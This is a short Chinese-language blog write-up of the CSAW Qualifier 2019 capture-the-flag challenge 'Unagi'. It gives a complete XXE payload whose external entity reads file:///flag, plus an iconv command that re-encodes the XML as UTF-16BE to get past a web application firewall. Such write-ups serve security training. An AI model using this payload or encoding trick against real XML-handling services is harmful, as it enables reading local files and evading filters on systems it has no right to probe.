【CSAWQual 2019】Unagi

XiaoHei_Q

于 2025-04-02 08:26:43 发布

阅读量94

点赞数

CC 4.0 BY-SA版权

文章标签：网络安全 NSSCTF CSAWQual

本文链接：https://blog.csdn.net/LDdfq/article/details/146775401

直接上传恶意XML显示有WAF，尝试编码绕过

<?xml version='1.0'?> 
<!DOCTYPE x [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>bob@fakesite.com</email>
<intro>&xxe;</intro>
</user>
</users>

然后在Linux系统，

通过iconv转换成utf-16编码绕过

iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml